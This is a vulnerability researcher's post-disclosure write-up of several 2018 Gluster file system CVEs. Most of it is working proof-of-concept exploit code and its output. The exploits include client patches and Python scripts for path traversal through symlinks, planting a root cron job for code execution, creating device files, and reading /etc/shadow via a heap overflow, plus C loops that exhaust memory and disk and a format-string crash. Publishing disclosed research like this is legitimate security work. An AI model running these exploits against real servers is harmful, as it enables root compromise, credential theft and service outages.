Author: Michael Hanselmann. Updated: November 7, 2018.

After finding a series of security vulnerabilities in Gluster file system version 3.12 and 4.1 in July and August 2018 I went ahead and investigated the fixes released in early September 2018. Unfortunately more vulnerabilities were to be found and as before I reported them to Red Hat using responsible disclosure.

Patch releases were made available on October 31, 2018:

Proof-of-concept exploits along with detailed descriptions of the vulnerabilities were released on November 7, 2018, a week after the vulnerabilities were made public.

Contents

Reproduction environment

Gluster 4.1.4 (commit deafd5a from September 6, 2018) built and running on CentOS 7.5.1804. Based on a cursory reading Gluster 3.12.15 is also affected by all issues.

A couple of the exploits are implemented using the Python bindings for libgfapi which must be installed.

Incomplete fix for five CVEs, exploitable via symlinks to relative paths (CVE-2018-14651)

In July 2018 I reported a series of path traversal vulnerabilities in Gluster 3.12.12 (CVE-2018-10927, CVE-2018-10928, CVE-2018-10929, CVE-2018-10930 and CVE-2018-10926). Patches were subsequently made available in early September 2018, leading to the release of Gluster 3.12.15 and 4.1.4 among patch releases for Red Hat's commercial products shipping with Gluster.

Unfortunately the patch in commit 2af8e50 is incomplete and doesn't account for at least one other attack vectors, namely symlinks pointing to relative paths.

An authenticated attacker can create such a symlink and force the brick server to resolve target paths through the symlink, leading to path traversal vulnerabilities. Client-side protections are insufficient.

Red Hat Bugzilla #1632557

Reproduction preparation

Build and install Gluster 4.1.4 with a patch modifying client-side code (see GlusterFS manual for detailed build instructions). 

$ patch -p1 <<'EOF'
diff --git a/xlators/protocol/client/src/client-common.c b/xlators/protocol/client/src/client-common.c
index c5b0322..acd2330 100644
--- a/xlators/protocol/client/src/client-common.c
+++ b/xlators/protocol/client/src/client-common.c
@@ -2321,6 +2321,16 @@ client_pre_mknod_v2 (xlator_t *this, gfx_mknod_req *req, loc_t *loc,
         req->dev    = rdev;
         req->umask = umask;
 
+        if (req->bname && strncmp(req->bname, "poc-mknod-", 10) == 0) {
+          size_t len = 100 + strlen(req->bname);
+          char * newbname = calloc(len, 1);
+          if (!newbname) {
+            op_errno = ENOMEM;
+            goto out;
+          }
+          snprintf(newbname, len, "link/tmp/%s", req->bname);
+          req->bname = newbname;
+        }
 
         dict_to_xdr (xdata, &req->xdata);
 
@@ -2433,6 +2443,10 @@ client_pre_symlink_v2 (xlator_t *this, gfx_symlink_req *req, loc_t *loc,
         req->bname    = (char *)loc->name;
         req->umask = umask;
 
+        if (req->bname && strcmp(req->bname, "poc-symlink") == 0) {
+          req->bname = strdup("link/etc/profile.d/poc-symlink.sh");
+        }
+
         dict_to_xdr (xdata, &req->xdata);
         return 0;
 out:
@@ -2468,6 +2482,15 @@ client_pre_rename_v2 (xlator_t *this, gfx_rename_req *req, loc_t *oldloc,
         req->oldbname =  (char *)oldloc->name;
         req->newbname = (char *)newloc->name;
 
+        memset(req->oldgfid, '\0', 16);
+        memset(req->newgfid, '\0', 16);
+        req->oldgfid[15] = 1;
+        req->newgfid[15] = 1;
+
+        if (oldloc->name && strcmp(oldloc->name, "poc-rename-source") == 0) {
+          req->newbname = (char*)"link/poc-rename-dest";
+        }
+
         dict_to_xdr (xdata, &req->xdata);
 
         return 0;
@@ -2873,6 +2896,10 @@ client_pre_create_v2 (xlator_t *this, gfx_create_req *req,
         req->flags = gf_flags_from_flags (flags);
         req->umask = umask;
 
+        if (loc->name && strcmp(loc->name, "poc-creat-cron.d") == 0) {
+          req->bname = (char*)"link/etc/cron.d/poc-creat";
+        }
+
         dict_to_xdr (xdata, &req->xdata);
 
         return 0;
@@ -2992,6 +3019,15 @@ client_pre_lookup_v2 (xlator_t *this, gfx_lookup_req *req, loc_t *loc,
         else
                 req->bname = "";
 
+        if (loc->name && strcmp(loc->name, "poc-lookup") == 0) {
+                memset(req->gfid, '\0', 16);
+                memset(req->pargfid, '\0', 16);
+                req->pargfid[15] = 1;
+                req->bname = (char *)"/link/bin/ls";
+
+                dict_set_int32(xdata, GF_GFIDLESS_LOOKUP, 1);
+        }
+
         if (xdata) {
                 dict_to_xdr (xdata, &req->xdata);
         }
EOF

Create test volume:

gluster volume create vol1 storage1:/data/vol1/brick force && \
gluster volume start vol1

Reproduction

File status information leak

stat(2) can be called on any file or directory, leading to an information leak: 

$ python <<'EOF'
import sys
from gluster import gfapi

vol = gfapi.Volume('storage1', 'vol1', port=24007, log_file='/dev/stderr')
vol.mount()
vol.setfsuid(0)
vol.setfsgid(0)

try:
  vol.unlink("link")
except Exception:
  pass

vol.symlink("../../../../../../../../../", "link")

st = vol.stat("poc-lookup")
print("\nmode={:o} size={}\n".format(st.st_mode, st.st_size))
EOF

Output with server running on CentOS 7.5:

mode=100755 size=117672

Symlinks can be created anywhere using a prepared request:

$ python <<'EOF'
import os, sys, time, re
from gluster import gfapi

vol = gfapi.Volume('storage1', 'vol1', port=24007, log_file='/dev/stderr')
vol.mount()
vol.setfsuid(0)
vol.setfsgid(0)

try:
  vol.unlink("link")
except Exception:
  pass

vol.symlink("../../../../../../../../../", "link")

scriptname = "script"

with gfapi.File(vol.open(scriptname, os.O_CREAT | os.O_TRUNC | os.O_WRONLY, 0o755)) as fh:
  fh.fchmod(0o755)
  fh.write("#!/bin/sh\necho 'Gluster rename PoC {}'\nid\n".format(time.ctime()))

# Get absolute path to script in volume
pinfo = vol.getxattr(scriptname, "glusterfs.pathinfo")
m = re.search(r"(?i)<POSIX\([^)]*\):[^:]*:(?P<path>[^>]+)>", pinfo)
assert m
scriptpath = m.group("path")
assert os.path.isabs(scriptpath)

print "Script path:", scriptpath

vol.symlink(scriptpath, "poc-symlink")
EOF

Example output upon opening a shell:

Gluster rename PoC Thu Sep 20 21:28:13 2018
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Arbitrary file creation on storage server allows for code execution

Files can be created anywhere outside volume, allowing for code execution. After executing the client code the server will have messages in in its system log. 

$ python <<'EOF'
import os, sys, time
from gluster import gfapi

vol = gfapi.Volume('storage1', 'vol1', port=24007, log_file='/dev/stderr')
vol.mount()
vol.setfsuid(0)
vol.setfsgid(0)

try:
  vol.unlink("link")
except Exception:
  pass

vol.symlink("../../../../../../../../../", "link")

with gfapi.File(vol.open("poc-creat-cron.d", os.O_CREAT | os.O_TRUNC | os.O_WRONLY, 0o644)) as fh:
  fh.write("* * * * * root echo \"Hello World, `id`\" | logger\n")
EOF

Example message:

Sep 20 21:23:02 localhost root: Hello World, uid=0(root) gid=0(root)
groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023

Files can be renamed outside volume

Files can be moved outside a volume by renaming. The source name is resolved within volume and must exist. Works only when destination is on same filesystem as source, fails with EXDEV otherwise. The proof of concept exploit assumes that the volume brick uses the root filesystem (/). Upon completion /poc-rename-dest will exist and contain an up-to-date timestamp. 

$ python <<'EOF'
import os, sys, time
from gluster import gfapi

vol = gfapi.Volume('storage1', 'vol1', port=24007, log_file='/dev/stderr')
vol.mount()
vol.setfsuid(0)
vol.setfsgid(0)

try:
  vol.unlink("link")
except Exception:
  pass

vol.symlink("../../../../../../../../../", "link")

src = "poc-rename-source"

with gfapi.File(vol.open(src, os.O_CREAT | os.O_TRUNC | os.O_WRONLY, 0o644)) as fh:
  fh.write("rename poc {}\n".format(time.ctime()))

vol.rename(src, "unused")
EOF

Device files can be created in arbitrary locations

Device files can be created at any location. In this example an unprivileged user creates them in /tmp and, if they have shell access to the storage server or other means of reading files, they can read/write the full disk contents, for example. 

$ python <<'EOF'
import os, sys, stat
from gluster import gfapi

vol = gfapi.Volume('storage1', 'vol1', port=24007, log_file='/dev/stderr')
vol.mount()
vol.setfsuid(0)
vol.setfsgid(0)

try:
  vol.unlink("link")
except Exception:
  pass

vol.symlink("../../../../../../../../../", "link")

vol.mknod("poc-mknod-urandom", stat.S_IFCHR | 0666, os.makedev(1, 9))
vol.mknod("poc-mknod-sda", stat.S_IFBLK | 0666, os.makedev(8, 0))
EOF

On storage server:

$ sudo -u nobody fdisk -l /tmp/poc-mknod-sda
Disk /tmp/poc-mknod-sda: 42.9 GB, 42949672960 bytes, 83886080 sectors
…

“features/index” translator can create arbitrary, empty files (CVE-2018-14654)

Virtually all volumes automatically get the features/index translator added to their server-side graph. The GF_XATTROP_ENTRY_IN_KEY xattrop can be abused to create empty files anywhere on a storage server. Created files have mode 0.

One attempt to create havoc was to create /etc/nologin, but fortunately pam_nologin uses the access(2) system call to check for its existence rather than stat(2). Nevertheless there may be other systems where the mere existence of a file changes behaviour.

The GF_XATTROP_ENTRY_OUT_KEY xattrop would remove files. I wasn't successful in invoking it for a proof-of-concept exploit.

Red Hat Bugzilla #1631576

Reproduction preparation

Build and install Gluster 4.1.4 with a patch modifying client-side code (see GlusterFS manual for detailed build instructions). 

$ patch -p1 <<'EOF'
diff --git a/api/src/glfs-fops.c b/api/src/glfs-fops.c
index f243999..d2fc50f 100644
--- a/api/src/glfs-fops.c
+++ b/api/src/glfs-fops.c
@@ -3768,7 +3772,18 @@ retry:
 		goto out;
 	}
 
-	ret = syncop_setxattr (subvol, &loc, xattr, flags, NULL, NULL);
+        if (strcmp(name, "#poc#") == 0) {
+          flags = GF_XATTROP_ADD_ARRAY;
+
+          dict_reset(xattr);
+          dict_set_str(xattr, GF_XATTROP_ENTRY_IN_KEY, "../../../../../../../../../../../tmp/inkey");
+          dict_set_str(xattr, GF_XATTROP_ENTRY_OUT_KEY, "#outkey#");
+
+          ret = syncop_xattrop (subvol, &loc, flags, xattr, xattr, NULL, NULL);
+        } else {
+          ret = syncop_setxattr (subvol, &loc, xattr, flags, NULL, NULL);
+        }
+
         DECODE_SYNCOP_ERR (ret);
 
 out:
EOF

Create test volume:

gluster volume create vol1 storage1:/data/vol1/brick force && \
gluster volume start vol1

Reproduction

$ python <<'EOF'
import os, sys
from gluster import gfapi

vol = gfapi.Volume('storage1', 'vol1', port=24007, log_file='/dev/stderr')
vol.mount()
vol.setfsuid(0)
vol.setfsgid(0)

with vol.fopen('test', 'w') as f:
  pass

print(vol.setxattr("test", "#poc#", "value"))
EOF

The code will throw an “Operation not supported” exception, but an empty file with mode 0 will have been created on the storage server: 

$ stat /tmp/inkey
  File: '/tmp/inkey'
  Size: 0               Blocks: 0          IO Block: 4096   regular empty file
Device: fd00h/64768d    Inode: 101248191   Links: 2
Access: (0000/----------)  Uid: (    0/    root)   Gid: (    0/    root)

Buffer overflow in “features/lock” translator allows for denial of service (CVE-2018-14652)

All volumes automatically get the features/index translator added to their server-side graph. The code handling the GF_XATTR_CLRLK_CMD xattr in the pl_getxattr function is susceptible to a buffer overflow with the key variable.

When built with GCC 4.8.5 20150623 on CentOS 7.5 the stack layout is such that the worst that can happen is a segmentation fault.

Authenticated clients can abuse this issue to execute a denial of service (DoS) attack. The brick process will receive a segmentation fault. If brick multiplexing is enabled unrelated volumes can be affected.

Red Hat Bugzilla #1632974

Reproduction preparation

Build and install Gluster 4.1.4 with a patch modifying client-side code (see GlusterFS manual for detailed build instructions). 

$ patch -p1 <<'EOF'
--- a/api/src/glfs-fops.c
+++ b/api/src/glfs-fops.c
@@ -3428,11 +3428,13 @@ glfs_getxattr_common (struct glfs *fs, const char *path, const char *name,
                 goto out;
         }
 
+/*
         if (strlen(name) > GF_XATTR_NAME_MAX) {
                 ret = -1;
                 errno = ENAMETOOLONG;
                 goto out;
         }
+*/
 
 	subvol = glfs_active_subvol (fs);
 	if (!subvol) {
EOF

Create test volume:

gluster volume create vol1 storage1:/data/vol1/brick force && \
gluster volume start vol1

Reproduction

Simulate an authenticated client:

$ python <<'EOF'
from gluster import gfapi

vol = gfapi.Volume('storage1', 'vol1', port=24007, log_file='/dev/stderr')
vol.mount()
vol.setfsuid(0)
vol.setfsgid(0)

vol.getxattr(".", "glusterfs.clrlk.tinode.kall." + ("A" * 5000))
EOF

Stacktrace in GDB:

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7e8a700 (LWP 7545)]
__GI___pthread_mutex_lock (mutex=0x4141414141414179) at ../nptl/pthread_mutex_lock.c:66
66        unsigned int type = PTHREAD_MUTEX_TYPE_ELISION (mutex);
(gdb) bt
#0  __GI___pthread_mutex_lock (mutex=0x4141414141414179) at ../nptl/pthread_mutex_lock.c:66
#1  0x00007ffff7ac2658 in dict_set (this=0x4141414141414141, key=0x7ffff7e88a00 "glusterfs.clrlk.tinode.kall.", 'A' <repeats 5000 times>,
    value=0x7fffd8000da8) at dict.c:450
#2  0x00007ffff7ac7d2a in dict_set_dynstr (this=0x4141414141414141, key=0x7ffff7e88a00 "glusterfs.clrlk.tinode.kall.", 'A' <repeats 5000 times>,
    str=0x7fffd8002270 "No locks cleared.") at dict.c:2458
#3  0x00007fffeb06cf40 in pl_getxattr (frame=0x7fffd8001318, this=0x7fffec016070, loc=0x7fffbc0024b8,
    name=0x7fffbc008e80 "glusterfs.clrlk.tinode.kall.", 'A' <repeats 5000 times>, xdata=0x0) at posix.c:1096
#4  0x4141414141414141 in ?? ()
#5  0x4141414141414141 in ?? ()

Heap-based buffer overflow via gf_getspec_req RPC message, read arbitrary files (CVE-2018-14653)

The Gluster daemon allows authenticated clients to retrieve the description of a volume (“spec”) via the gf_getspec_req RPC message. Processed by the __server_getspec function one of the parameters is the volume name. There are two distinct issues with the latter:

  1. The RPC message has no length restriction for the volume name. The name is then copied into the volname member of a structure of type peer_info_t: 

    /* From rpc/rpc-lib/src/rpc-transport.h */
struct peer_info {
  […]
  char volname[NAME_MAX];
};

    The result is a buffer overflow on the heap. Data behind peerinfo in struct rpc_transport is overwritten. During testing I've seen segmentation faults and failing assertions (esp. in free(3)).

    What causes this behaviour is that the third parameter to strncpy is determined using strlen, rendering the “n” in strncpy useless: 

    strncpy (peerinfo->volname, volume, strlen(volume));

    There are more cases of strncpy(…, strlen(…)). A patch I submitted to Red Hat addresses three, but there are more. I didn't find them to be exploitable in a realistic way.

    Once strlen is replaced with sizeof another issue appears:

  2. The volume name is used in composing filenames. The build_volfile_path function handles the name differently based on a prefix. Once a filename is built the file is opened, read and the content returned to the client. It's possible to read arbitrary files as a result.

There is also a getspec_build_volfile_path function in the server translator. While I did not produce a proof-of-concept exploit it's vulnerable to similar issues: 

/* Fixed size buffer */
char data_key[256] = {0,};
[…]
if (key && !filename) {
  /* No length limitation: buffer overflow */
  sprintf (data_key, "volume-filename.%s", key);
[…]
if (!filename && key) {
  /* Path traversal with a hardcoded ".vol" suffix */
  ret = gf_asprintf (&filename, "%s/%s.vol", conf->conf_dir, key);
[…]

Red Hat Bugzilla #1633431

Reproduction preparation

Build and install Gluster 4.1.4 with a patch modifying client-side code (see GlusterFS manual for detailed build instructions). 

$ patch -p1 <<'EOF'
--- a/api/src/glfs-mgmt.c
+++ b/api/src/glfs-mgmt.c
@@ -660,6 +660,9 @@ volfile:
 	ret = 0;
 	size = rsp.op_ret;
 
+	printf("%s\n", rsp.spec);
+	exit(0);
+
 	if ((size == fs->oldvollen) &&
 	    (memcmp (fs->oldvolfile, rsp.spec, size) == 0)) {
 		gf_msg (frame->this->name, GF_LOG_INFO, 0,
@@ -797,6 +800,21 @@ glfs_volfile_fetch (struct glfs *fs)
                 req.flags = req.flags | GF_GETSPEC_FLAG_SERVERS_LIST;
         }
 
+        /* The "glusterd_svc_build_volfile_path" function always adds a ".vol"
+         * suffix. Due to insufficient checking of snprintf's result it's
+         * possible to strip the suffix by filling the whole filename buffer
+         * such that the suffix would be written just beyond the buffer.
+         */
+        const char workdir[] = "/var/lib/glusterd/";
+        const char prefix[] = "gluster/";
+        const char wanted[] = "../../../../../../../../etc/shadow";
+        const size_t keylen = strlen(prefix) + PATH_MAX - 1;
+
+        req.key = calloc(keylen + 1, 1);
+        memset(req.key, '/', keylen);
+        memcpy(req.key, prefix, strlen(prefix));
+        memcpy(req.key + keylen - strlen(workdir) - strlen(wanted), wanted, sizeof(wanted));
+
         ret = dict_allocate_and_serialize (dict, &req.xdata.xdata_val,
                                            &req.xdata.xdata_len);
         if (ret < 0) {
EOF

Create test volume:

gluster volume create vol1 storage1:/data/vol1/brick force && \
gluster volume start vol1

Reproduction

Run test program without patching the buffer overflow:

$ python <<'EOF'
from gluster import gfapi
import sys

vol = gfapi.Volume('storage1', 'vol1', port=24007, log_file='/dev/stderr')
vol.mount()
EOF

Stacktrace in GDB (exact crash location varies depending on build options):

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffedee3700 (LWP 27828)]
0x00007ffff7893221 in rpc_transport_get_peername (this=0x2f2f2f2f2f2f2f2f, hostname=0x7fffedee14f0 "", hostlen=1024) at rpc-transport.c:87
87              ret = this->ops->get_peername (this, hostname, hostlen);
(gdb) bt
#0  0x00007ffff7893221 in rpc_transport_get_peername (this=0x2f2f2f2f2f2f2f2f, hostname=0x7fffedee14f0 "", hostlen=1024) at rpc-transport.c:87
#1  0x00007ffff7890604 in rpcsvc_transport_peername (trans=0x2f2f2f2f2f2f2f2f, hostname=0x7fffedee14f0 "", hostlen=1024) at rpcsvc.c:1725
#2  0x00007ffff2aae1db in __server_getspec (req=0x7fffe4001d98) at glusterd-handshake.c:916
#3  0x00007ffff2a35cfe in glusterd_big_locked_handler (req=0x7fffe4001d98, actor_fn=0x7ffff2aadf00 <__server_getspec>) at glusterd-handler.c:80
#4  0x00007ffff2aae5fd in server_getspec (req=0x7fffe4001d98) at glusterd-handshake.c:1017
[…]

Apply patch to use sizeof instead of strlen: 

$ patch -p1 <<'EOF'
--- a/xlators/mgmt/glusterd/src/glusterd-handshake.c
+++ b/xlators/mgmt/glusterd/src/glusterd-handshake.c
@@ -894,9 +894,9 @@ __server_getspec (rpcsvc_request_t *req)
          * support nfs style mount parameters for native gluster mount
          */
         if (volume[0] == '/')
-                strncpy (peerinfo->volname, &volume[1], strlen(&volume[1]));
+                strncpy (peerinfo->volname, &volume[1], sizeof (peerinfo->volname) - 1);
         else
-                strncpy (peerinfo->volname, volume, strlen(volume));
+                strncpy (peerinfo->volname, volume, sizeof (peerinfo->volname) - 1);
 
         ret = glusterd_get_args_from_dict (&args, peerinfo, &brick_name);
         if (ret) {
EOF

Run the test program again. It'll now print the contents of /etc/shadow on the storage server, i.e.: 

root:$1$[…]::0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::
[…]

Repeated use of GF_META_LOCK_KEY xattr allows for memory exhaustion (CVE-2018-14660)

All volumes automatically get the features/locks translator added to their server-side graph. The GF_META_LOCK_KEY xattr (glusterfs.lock-migration-meta-lock) is used by the cluster/dht translator and allocates ~400 bytes of memory when called (measured over 10'000 calls). Unless a matching GF_META_UNLOCK_KEY call is made the memory is not freed.

Authenticated clients can abuse this issue to execute a denial of service (DoS) attack against storage servers by consuming large amounts of memory. Eventually the Linux kernel's out-of-memory killer will take out processes or memory allocations may fail.

Red Hat Bugzilla #1635926

Reproduction

Create test volume:

gluster volume create vol1 storage1:/data/vol1/brick force && \
gluster volume start vol1

Mount on client and make volume accessible by unprivileged user:

mount -t glusterfs storage1:/vol1 /mnt && \
chown nobody: /mnt

Write trivial program calling setxattr(2) in a loop:

$ cat >/tmp/fillmem.c <<'EOF'
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/xattr.h>

int main(int argc, char** argv) {
  int ret;

  if (argc < 2) {
    fprintf(stderr, "Expected one file or directory as argument\n");
    return 1;
  }

  while (1) {
    ret = setxattr(argv[1], "glusterfs.lock-migration-meta-lock", "", 0, 0);
    if (ret < 0) {
      perror(argv[1]);
      return 1;
    }
  }

  return 0;
}
EOF

On storage server before starting (test volume used by author has two bricks on same server): 

$ top
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
23887 root      20   0 1141944  11712   4556 S   0.0  1.2   0:00.04 glusterfsd
23909 root      20   0 1141944  11352   4224 S   0.0  1.1   0:00.04 glusterfsd

Build code on client and run for one minute using an unprivileged user:

$ gcc -o /tmp/fillmem /tmp/fillmem.c && sudo -u nobody timeout 1m /tmp/fillmem /mnt/

On storage server after one minute (note the larger RES values):

$ top
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
23887 root      20   0 1207772  38908   4684 S   0.0  3.8   0:21.75 glusterfsd
23909 root      20   0 1207772  38812   4408 S   0.0  3.8   0:27.29 glusterfsd

Unlimited file creation via GF_XATTR_IOSTATS_DUMP_KEY xattr allows for denial of service (CVE-2018-14659)

All volumes automatically get the debug/io-stats translator added to their server-side graph. The GF_XATTR_IOSTATS_DUMP_KEY xattr (trusted.io-stats-dump) can be used to trigger a state dump. The Linux kernel only allows users with the “CAP_SYS_ADMIN” capability to manipulate xattrs in the trusted namespace. However, the io-stats.c:match_special_xattr function does not actually check the full string and uses fnmatch(3) instead.

Authenticated clients can abuse this issue to execute a denial of service (DoS) attack by creating an arbitrary number of files in the server's runtime directory (usually /var/run or /run). A full runtime filesystem can have a large number of undesired effects.

Red Hat Bugzilla #1635929

Reproduction

Create test volume:

gluster volume create vol1 storage1:/data/vol1/brick force && \
gluster volume start vol1

Mount on client and make volume accessible by unprivileged user:

mount -t glusterfs storage1:/vol1 /mnt && \
chown nobody: /mnt

Write trivial program calling setxattr(2) in a loop:

$ cat >/tmp/filldisk.c <<'EOF'
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/xattr.h>

int main(int argc, char** argv) {
  int ret;
  char value[100];
  uint32_t counter;

  if (argc < 2) {
    fprintf(stderr, "Expected one file or directory as argument\n");
    return 1;
  }

  for (counter = 0; ; ++counter) {
    snprintf(value, sizeof(value), "fill.%d", counter);

    // match_special_xattr uses fnmatch("*io*stat*dump", ...)
    ret = setxattr(argv[1], "user.hello.io.am.a.stats.dump",
      value, strlen(value), 0);
    if (ret < 0) {
      perror(argv[1]);
      return 1;
    }
  }

  return 0;
}
EOF

On storage server before starting:

$ du -sm /run/gluster
1       /run/gluster

Build code on client and run for one minute using an unprivileged user: 

$ gcc -o /tmp/filldisk /tmp/filldisk.c && sudo -u nobody timeout 1m /tmp/filldisk /mnt/

On storage server after one minute:

$ du -sm /run/gluster
178     /run/gluster

“features/locks” translator passes a user-controlled string to snprintf without a proper format string (CVE-2018-14661)

The Gluster code contains a series of functions accepting a format string and arbitrary arguments akin to printf(3). There are quite many cases where no proper format string is used. Fortunately the author was only able to find a small number of cases in xlators/features/locks/src/posix.c:__dump_entrylks where the format string is (partially) controlled by unprivileged users: 

// statedump.h
// value is passed onto snprintf
int gf_proc_dump_write(char *key, char *value,...);

// posix.c:__dump_entrylks
// tmp contains user-controlled basename
gf_proc_dump_write(key, tmp);

The result in this case is the possibility of a denial of service attack during state dumps. In experimentation I was able to overwrite arbitrary memory addresses. Combined with a pointer information leak code execution would be realistic. ASLR is difficult to defeat otherwise and the GOT in glusterd doesn't have an obvious way to gain code execution.

It's imporant to note that the affected code can likely only be triggered on the server side by collecting a state dump, i.e. by sending SIGUSR1 to a brick process.

Red Hat Bugzilla #1636880

Reproduction

Create test volume:

gluster volume create vol1 storage1:/data/vol1/brick force && \
gluster volume start vol1

Mount on client and make volume accessible by unprivileged user, i.e.:

mount -t glusterfs storage1:/vol1 /mnt && \
chown nobody: /mnt

The filenames of directory entry locks (entrylk) are passed to the vulnerable function. We can provoke such entries by continously renaming files. This method is inherently racey and there may be more reliable ways, especially when the user has direct access to the Gluster volume API.

Run as an unprivileged user:

cd /mnt && while :; do :>a && mv a '%s'; done

While the loop is running, simulate an administrator collecting state dumps of the brick process: 

while p=$(pidof glusterfsd); do kill -USR1 $p; done

It is only a question of time before the brick process(es) terminate with a segmentation fault.